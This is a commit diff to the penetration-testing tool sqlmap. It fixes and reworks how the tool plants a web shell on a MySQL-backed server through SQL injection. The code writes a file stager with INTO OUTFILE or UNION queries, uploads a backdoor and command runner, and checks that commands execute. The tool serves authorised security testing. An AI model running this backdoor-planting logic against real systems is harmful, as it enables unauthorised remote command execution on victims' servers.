fixed and improved web shell upload in MySQL (it was actually broken since fc57b7565d)

This commit is contained in:
Bernardo Damele 2014-01-13 17:12:37 +00:00
parent 6863436d4e
commit dfa9076a70
2 changed files with 157 additions and 149 deletions

View File

@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
@ -610,15 +610,15 @@ def paramToDict(place, parameters=None):
return testableParameters
def getDocRoot():
docRoot = None
def getManualDirectories():
directories = None
pagePath = directoryPath(conf.path)
defaultDocRoot = DEFAULT_DOC_ROOTS.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX])
if kb.absFilePaths:
for absFilePath in kb.absFilePaths:
if docRoot:
if directories:
break
if directoryPath(absFilePath) == '/':
@ -636,41 +636,41 @@ def getDocRoot():
_ = "/%s/" % _
if _ in absFilePath:
docRoot = "%s%s" % (absFilePath.split(_)[0], _)
directories = "%s%s" % (absFilePath.split(_)[0], _)
break
if pagePath and pagePath in absFilePath:
docRoot = absFilePath.split(pagePath)[0]
directories = absFilePath.split(pagePath)[0]
if windowsDriveLetter:
docRoot = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(docRoot))
directories = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(directories))
docRoot = normalizePath(docRoot)
directories = normalizePath(directories)
if docRoot:
infoMsg = "retrieved the web server document root: '%s'" % docRoot
if directories:
infoMsg = "retrieved the web server document root: '%s'" % directories
logger.info(infoMsg)
else:
warnMsg = "unable to retrieve automatically the web server "
warnMsg += "document root"
logger.warn(warnMsg)
docRoot = []
directories = []
message = "what do you want to use for web server document root?\n"
message = "what do you want to use for writable directory?\n"
message += "[1] common location(s) '%s' (default)\n" % ", ".join(root for root in defaultDocRoot)
message += "[2] custom location\n"
message += "[2] custom location(s)\n"
message += "[3] custom directory list file\n"
message += "[4] brute force search\n"
choice = readInput(message, default="1").strip()
if choice == "2":
message = "please provide the web server document root: "
docRoot = readInput(message, default="").split(',')
message = "please provide a comma separate list of absolute directory paths: "
directories = readInput(message, default="").split(',')
elif choice == "3":
message = "what's the list file location?\n"
listPath = readInput(message, default="")
checkFile(listPath)
docRoot = getFileItems(listPath)
directories = getFileItems(listPath)
elif choice == "4":
targets = set([conf.hostname])
_ = conf.hostname.split('.')
@ -691,31 +691,30 @@ def getDocRoot():
for target in targets:
item = "%s/%s" % (prefix, suffix)
item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", '/').rstrip('/')
docRoot.append(item)
directories.append(item)
if BRUTE_DOC_ROOT_TARGET_MARK not in prefix:
break
infoMsg = "using common document root locations: %s" % ','.join(docRoot)
infoMsg = "using common directories: %s" % ','.join(directories)
logger.info(infoMsg)
msg = "use additional custom "
msg += "document root locations [Enter for None]: "
msg = "use additional custom directories [Enter for None]: "
answer = readInput(msg)
if answer:
docRoot.extend(answer.split(','))
directories.extend(answer.split(','))
else:
docRoot = defaultDocRoot
directories = defaultDocRoot
return docRoot
return directories
def getDirs():
def getAutoDirectories():
directories = set("/")
if kb.absFilePaths:
infoMsg = "retrieved web server full paths: "
infoMsg = "retrieved web server absolute paths: "
infoMsg += "'%s'" % ", ".join(ntToPosixSlashes(path) for path in kb.absFilePaths)
logger.info(infoMsg)
@ -728,7 +727,8 @@ def getDirs():
warnMsg = "unable to retrieve automatically any web server path"
logger.warn(warnMsg)
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/", conf.url)
webDir = extractRegexResult(r"//[^/]+?(?P<result>/.*)/", conf.url)
if webDir:
directories.add(webDir)

View File

@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
@ -17,8 +17,8 @@ from lib.core.agent import agent
from lib.core.common import arrayizeValue
from lib.core.common import Backend
from lib.core.common import extractRegexResult
from lib.core.common import getDirs
from lib.core.common import getDocRoot
from lib.core.common import getAutoDirectories
from lib.core.common import getManualDirectories
from lib.core.common import getPublicTypeMembers
from lib.core.common import getSQLSnippet
from lib.core.common import getUnicode
@ -194,8 +194,9 @@ class Web:
self.webApi = choices[int(choice) - 1]
break
kb.docRoot = arrayizeValue(getDocRoot())
directories = sorted(getDirs())
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = sorted(set(directories))
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
@ -204,155 +205,162 @@ class Web:
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False
for docRoot in kb.docRoot:
for directory in directories:
if success:
break
for directory in directories:
uriPath = ""
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not all(isinstance(_, basestring) for _ in (docRoot, directory)):
continue
if not isWindowsDriveLetterPath(directory) and directory[0] != '/':
directory = "/%s" % directory
else:
directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory
directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
directory = posixpath.normpath(directory)
# '' or '/' -> 'docRoot'
if not directory:
localPath = docRoot
uriPath = '/'
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
localPath = "%s/%s" % (docRoot, directory)
uriPath = "/%s" % directory
else:
localPath = directory
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
# Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT INTO OUTFILE technique"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
if docRoot in uriPath:
uriPath = uriPath.replace(docRoot, "/")
uriPath = "/%s" % normalizePath(uriPath)
else:
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
for x in list(re.finditer('/', directory)):
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[x.start():])
self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName)
self.webStagerFilePath = posixpath.normpath(ntToPosixSlashes(os.path.join(directory, stagerName)))
if webDir:
uriPath = "/%s" % webDir
else:
continue
localPath = posixpath.normpath(localPath).rstrip('/')
uriPath = posixpath.normpath(uriPath).rstrip('/')
# Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique
infoMsg = "trying to upload the file stager on '%s' " % localPath
infoMsg += "via LIMIT INTO OUTFILE technique"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, localPath)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/')
debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
# Fall-back to UNION queries file upload technique
if "sqlmap file uploader" not in uplPage:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % localPath
singleTimeWarnMessage(warnMsg)
if "sqlmap file uploader" in uplPage:
uploaded = True
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % localPath
infoMsg += "via UNION technique"
logger.info(infoMsg)
# Fall-back to UNION queries file upload technique
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
handle, filename = mkstemp()
os.fdopen(handle).close() # close low level handle (causing problems later)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION technique"
logger.info(infoMsg)
with open(filename, "w+") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", localPath.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else localPath)
f.write(utf8encode(_))
handle, filename = mkstemp()
os.fdopen(handle).close() # close low level handle (causing problems later)
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
with open(filename, "w+") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
f.write(utf8encode(_))
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
for x in list(re.finditer('/', directory)):
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[x.start():])
self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName)
self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (directory, stagerName))).replace("//", "/").rstrip('/')
debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
continue
else:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % localPath
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
if "sqlmap file uploader" in uplPage:
uploaded = True
else:
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
if not uploaded:
self.webBaseUrl = "%s://%s:%d/" % (conf.scheme, conf.hostname, conf.port)
self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName)
self.webStagerFilePath = posixpath.normpath(ntToPosixSlashes(os.path.join(directory, stagerName)))
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
logger.info(infoMsg)
debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl
logger.debug(debugMsg)
if self.webApi == WEB_API.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if match:
backdoorDirectory = match.group(1)
if "sqlmap file uploader" not in uplPage:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = directory
else:
if not self.webUpload(backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (directory, backdoorName))).replace("//", "/").rstrip('/')
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if getOutput in ("y", "Y"):
self._webFileInject(backdoorContent, backdoorName, localPath)
else:
continue
if output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = localPath
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, backdoorName))).replace("//", "/").rstrip('/')
success = True
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
success = True
break
break